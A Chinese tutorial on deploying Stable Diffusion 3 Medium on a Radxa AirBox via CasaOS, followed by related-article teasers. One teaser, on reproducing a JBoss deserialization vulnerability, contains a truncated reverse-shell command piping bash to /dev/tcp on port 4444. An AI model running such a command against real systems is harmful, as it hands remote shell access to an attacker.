实操: 如何在AirBox上跑Stable Diffusion 3

news2024/9/20 10:32:44

以下文章来源于Radxa ,作者瑞莎

Stable Diffusion 3 Medium 是一种多模态扩散变换器 (MMDiT) 文本到图像模型,在图像质量、排版、复杂提示理解和资源效率方面具有显著提升的性能。

目前瑞莎团队使用 Stable Diffusion 3 Medium 开源模型,通过 SOPHON SDK 移植到 SG2300X 处理器系列产品上进行本地 TPU 硬件加速推理,实现在 radxa Airbox 上离线快速生成特色风格且带清晰文本的图片。

有关 Stable Diffusion 3 Medium 更多技术细节,请参阅官方网站和研究论文。

环境准备

硬件准备

  • Airbox + 65W的配套电源

  • 网线 

  • 在局域网内可使用浏览器访问 PC 

  • Type-C 数据线(可选) 

将网线根据您的网络环境选择插入 WAN 口(推荐接入广域网)或者 LAN 口(接入局域网),根据您的使用习惯可选将 Type-C 数据线 C 口端插入 Airbox Debug 口, A 口端插入至您的 PC,最后插入电源上电自动开机,更多详细关于硬件准备工作请参考这里

软件环境准备

针对熟练度不同的 Linux 开发者,可以选择两种方式进行环境准备。因 Airbox 镜像已经预装 CasaOS,所以本文以 CasaOS 命令行模式为例子进行部署 Stable Diffusion 3

  • 终端命令行模式 

  • CasaOS 命令行模式(新手推荐)

开启终端

待 Airbox 开机后,通过您的 PC 浏览器访问 Airbox 的 IP 地址的 81 端口便可登录 CasaOS,如何获取 Airbox IP 地址?请参考这里

CasaOS 用户名和密码 

Username: radxaPassword: radxa

Airbox 系统终端用户名和密码 

Username: linaroPassword: linaro
CasaOS登陆界面

点击 CasaOS 左上角第三个图标登陆 Airbox 系统终端 

CasaOS 终端登陆界面

代码环境准备 

终端打开后,接下来就直接复制提供的命令就好

    克隆 SD3-Medium-TPU 代码仓库 

cd /data
git clone https://github.com/zifeng-radxa/SD3-Medium-TPU.git 
&& cd SD3-Medium-TPU

    配置运行环境(仅需运行一次) 

此脚本会自动配置所需运行依赖的库,请耐心等待安装 

source env.sh

下载 radxa 提供好的 Stable Diffusion 3 bmodel 格式模型 

  • 如果您可以流畅访问 github, 可直接运行 run.sh 脚本, 这会自动从 github 上下载模型后并启动程序 

    bash run.sh
  • 如果你出现下载的压缩包 md5 比对不过可以通过模型下载脚本重新下载

bash tar_downloader.sh
  • 如果您无法使用 github 下载,radxa 提供百度云链接,请将下载好的 models 文件夹拷贝到 Airbox 上 SD-Medium-TPU/python_demo 文件夹中,您可以直接通过 CasaOS 文件管理器中直接上传至 Airbox

链接: https://pan.baidu.com/s/1ngEYqbJLm4PGPQxsozs-Kw?pwd=w9v9 提取码: w9v9       --来自百度网盘超级会员v5的分享

启动 Stable Diffusion 3 Gradio 服务

确保下载好模型好启动服务

bash run.sh

启动后在您的 PC 浏览器访问 Airbox IP 的 8999 端口即可访问 Stable Diffusion3 Gradio 服务

图片
Stable Diffusion3 Gradio 服务界面

使用示例

    点击右上角 Load Model 加载模型 

  • 因为模型接近 10G 如果您的模型存放在 emmc 中,加载速度会比较慢,可以选择存放在 SSD 中

  • 在 CasaOS 终端中可以看到各个模型的加载细节, SSD 中加载模型需要 37 秒

read file models/mmdit.bmodel, size 100000, duration 0.000318, speed 0.292869 GB/s
[BMRT][bmcpu_setup:406] INFO:cpu_lib 'libcpuop.so' is loaded.
bmcpu init: skip cpu_user_defined
open usercpu.so, init user_cpu_init 
[BMRT][load_bmodel:1084] INFO:Loading bmodel from [models/mmdit.bmodel]. Thanks for your patience...
[BMRT][load_bmodel:1023] INFO:pre net num: 0, load net num: 26
[BMRT][bmcpu_setup:406] INFO:cpu_lib 'libcpuop.so' is loaded.
bmcpu init: skip cpu_user_defined
open usercpu.so, init user_cpu_init 
[BMRT][load_bmodel:1084] INFO:Loading bmodel from [models/clip_g.bmodel]. Thanks for your patience...
[BMRT][load_bmodel:1023] INFO:pre net num: 0, load net num: 14
[BMRT][bmcpu_setup:406] INFO:cpu_lib 'libcpuop.so' is loaded.
bmcpu init: skip cpu_user_defined
open usercpu.so, init user_cpu_init 
[BMRT][load_bmodel:1084] INFO:Loading bmodel from [models/clip_l.bmodel]. Thanks for your patience...
[BMRT][load_bmodel:1023] INFO:pre net num: 0, load net num: 34
[BMRT][bmcpu_setup:406] INFO:cpu_lib 'libcpuop.so' is loaded.
bmcpu init: skip cpu_user_defined
open usercpu.so, init user_cpu_init 
[BMRT][load_bmodel:1084] INFO:Loading bmodel from [models/t5.bmodel]. Thanks for your patience...
[BMRT][load_bmodel:1023] INFO:pre net num: 0, load net num: 26
[BMRT][bmcpu_setup:406] INFO:cpu_lib 'libcpuop.so' is loaded.
bmcpu init: skip cpu_user_defined
open usercpu.so, init user_cpu_init 
[BMRT][load_bmodel:1084] INFO:Loading bmodel from [models/vae_decoder.bmodel]. Thanks for your patience...
[BMRT][load_bmodel:1023] INFO:pre net num: 0, load net num: 1
You set `add_prefix_space`. The tokenizer needs to be converted from the slow tokenizers
 

填入 Prompt 信息

  • 在 Prompt 填入英文提示词,比如

A cat with a sign text Welcome to radxa!
  • 可选填入 Negative Prompt 反向提示词(输入不想出现的物体)

deformed, lowres, bad anatomy, error, extra digit, fewer digits, cropped, worst quality, low quality, jpeg artifacts, signature, watermark, username, blurry, artist name

选择合理的步数和 CFG值,可选 clip skip(跳过模型推理的最后层数,建议为0)和随机种子,最后点击 Submit 按钮开始生成任务,生成的图片结果会直接显示在右边,点击下载图标可自行下载

图片
Stable Diffusion 3 生图效果

终端中会打印运行进度,可见平均每个 step 需要 2.93s

set seed to: 15>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>100%|████████████████████████████████████████████████████████████████████| 28/28 [01:22<00:00,  2.93s/it]

更多例子

radxa 提供多个 Example 例子,用户只需单击例子选项即可复现生成的图片。

图片
Prompt: A vibrant street wall covered in colorful graffiti, the centerpiece spells "Radxa Airbox", in a storm of colors

图片
Prompt: a cyberpunk hotel with the neon sign with the text Radxa Airbox

图片
Prompt: Astronaut in a jungle, cold color palette, muted colors, detailed, 8k

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1987217.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

领域驱动设计实战:使用Wow框架重构银行转账系统

银行账户转账案例是一个经典的领域驱动设计&#xff08;DDD&#xff09;应用场景。 接下来我们通过一个简单的银行账户转账案例&#xff0c;来了解如何使用 Wow 进行领域驱动设计以及服务开发。 银行转账流程 准备转账&#xff08;Prepare&#xff09;&#xff1a; 用户发起…

24/8/6算法笔记 不同核函数

import numpy as np from sklearn import datasets from sklearn.svm import SVC from sklearn.model_selection import train_test_split from sklearn.metrics import accuracy_score import matplotlib.pyplot as plt 加载数据 X,ydatasets.load_wine(return_X_y True) d…

python中的turtle库(适用于计算机二级)

窗体函数 turtle.setup(width,height,startx,starty) width:窗口宽度 height:窗口高度 startx&#xff1a;窗口与屏幕左侧的距离 starty&#xff1a;窗口与屏幕顶部的距离 常用的引进turtle方法 # 引入turtle import turtle# 引入turtle库中的所有函数 from turtle import *# …

如何使用AI提问提示词(Prompt):让你的提问回答更有效

现在AI模型在日常工作和生活中的应用越来越广泛&#xff0c;无论是生成文本、回答问题&#xff0c;还是进行对话互动&#xff0c;提示词&#xff08;Prompt&#xff09;在与AI交互时起着至关重要的作用&#xff0c;一个好的提示词可以引导AI生成更加准确、有价值的内容。 那么…

【简历】宜春某二本学院:Java简历指导,秋招简历通过率低

简历说明 这是一个25届的二本宜春某学院的这个Java简历&#xff0c;今天看了两个简历&#xff0c;包括前面个985的&#xff0c;也是12306&#xff0c;这个12306已经烂大街&#xff0c;是个人都知道这个项目了&#xff0c;所以不要放在简历上&#xff0c;你不管大厂中厂还是小公…

力扣——11.盛最多水的容器

题目 暴力解 思路&#xff1a; 遍历每一个可能组成的容器&#xff0c;然后计算比较最大值。 代码&#xff1a; int maxArea(vector<int>& height) {int z1 0, z2 0;int len height.size();int val 0;for (z1; z1 < len - 1; z1) {for (z2 z1 1; z2 < l…

5分钟0基础快速上手亚马逊云科技AWS核心云开发/云架构知识 - 利用S3桶托管网页静态资源

简介&#xff1a; 小李哥从今天开始将开启全新亚马逊云科技AWS云计算知识学习系列&#xff0c;适用于任何无云计算或者亚马逊云科技技术背景的开发者&#xff0c;让大家0基础5分钟通过这篇文章就能完全学会亚马逊云科技一个经典的服务开发架构。 我将每天介绍一个基于亚马逊云…

Day-16 SpringBoot原理

SpingBoot原理 在前面十多天的课程当中&#xff0c;我们学习的都是web开发的技术使用&#xff0c;都是面向应用层面的&#xff0c;我们学会了怎么样去用。而我们今天所要学习的是web后端开发的最后一个篇章springboot原理篇&#xff0c;主要偏向于底层原理。 我们今天的课程安…

AppBoot:像 Django 一样使用 FastAPI

App Boot 开发 AppBoot 的背景是我一直没能寻找到满意的 FastAPI 项目模板。相比之下&#xff0c;Django 的项目结构和开发方式一直深得我心&#xff0c;因此我决定创建一个类似 Django 的 FastAPI 项目模板。 AppBoot 完全采用异步模式&#xff0c;内置 SQLAlchemy 2.0&…

Debian | Vscode 安装与配置 C 环境

Debian | Vscode 安装与配置 C 环境 安装 vscode sudo apt update sudo apt install software-properties-common apt-transport-https curlcurl -sSL https://packages.microsoft.com/keys/microsoft.asc | sudo apt-key add -sudo add-apt-repository "deb [archamd64…

Golang | Leetcode Golang题解之第327题区间和的个数

题目&#xff1a; 题解&#xff1a; import "math/rand" // 默认导入的 rand 不是这个库&#xff0c;需要显式指明type node struct {ch [2]*nodepriority intkey intdupCnt intsz int }func (o *node) cmp(b int) int {switch {case b < o.k…

独家探讨BIGO ads投放海外休闲游戏广告优势

在探讨BIGO投放海外休闲游戏广告的优势时&#xff0c;不得不提的是其全球化的战略布局与强大的技术支撑。BIGO作为深耕海外市场的先行者&#xff0c;已经构建了覆盖全球多个国家和地区的用户网络&#xff0c;这为休闲游戏广告的广泛传播提供了得天独厚的条件。通过精准定位不同…

ARM 汇编语言基础

目录 汇编指令代码框架 汇编指令语法格式 数据处理指令 数据搬移指令 mov 示例 立即数的本质 立即数的特点 立即数的使用 算术运算指令 指令格式 add 普通的加法指令 adc 带进位的加法指令 跳转指令 Load/Store指令 状态寄存器指令 基础概念 C 语言与汇编指令的关…

日志和守护进程

日志 //日志就是服务器在运行的时候要定期的把执行痕迹保留下来 #pragma once #include <iostream> #include <string> #include <cstdio> #include <cstring> #include <ctime> #include <cstdarg> #include <sys/types.h> #inclu…

XFS寻址模拟

XFS寻址 XFS 大部分时候都会用绝对地址&#xff0c;即包含AG信息和相对AG偏移量的信息&#xff0c;但有些时候会使用相对地址“相对AG的偏移量” [rootip-172-31-35-68 ~]# xfs_db -r /dev/nvme1n1 xfs_db> sb 0 xfs_db> p magicnum 0x58465342 blocksize 4096 dbloc…

丰富IO接口的ARMxy工业计算机在装卸机中的应用

在工业装卸领域&#xff0c;高效、精准的装卸作业对于提高生产效率和降低成本至关重要。ARMxy 工业计算机凭借其丰富的 IO 接口和强大的性能&#xff0c;成为工业装卸机的智能控制核心&#xff0c;为装卸作业带来了全新的变革。 ARMxy 工业计算机自带丰富的 IO 接口&#xff0c…

【C++】4.类和对象(2)

文章目录 1.类的默认成员函数2.构造函数 1.类的默认成员函数 默认成员函数就是用户没有显式实现&#xff0c;编译器会自动生成的成员函数称为默认成员函数。一个类&#xff0c;我们不写的情况下编译器会默认生成以下6个默认成员函数&#xff0c;需要注意的是这6个中最重要的是前…

解决戴尔台式电脑休眠后无法唤醒问题

近期发现有少量戴尔的台式机会有休眠后无法唤醒的问题&#xff0c;具体现象就是电脑在休眠后&#xff0c;电源指示灯以呼吸的频率闪烁&#xff0c;无论怎么点鼠标和键盘都没有反应&#xff0c;并且按开机按钮也没法唤醒&#xff0c;只能是长按开机键强制关机再重启才行&#xf…

Jboss漏洞

三、Jboss 3.1 CVE-2015-7501 Jboss JMXInvokerServlet 反序列化漏洞 漏洞复现 1.POC&#xff0c;访问地址 /invoker/JMXInvokerServlet返回如下&#xff0c;说明接口开放&#xff0c;此接口存在反序列化漏洞 3.1 8080 工具 bash -i>& /dev/tcp/ip/4444 0>&…

Python | Leetcode Python题解之第327题区间和的个数

题目&#xff1a; 题解&#xff1a; class Solution:def countRangeSum(self, nums: List[int], lower: int, upper: int) -> int:pre list(accumulate(nums, initial0))nums sorted(pre)mx len(nums)b BIT(mx 1)ans 0# 统计[x-upper,x-lower]的个数for i, x in enum…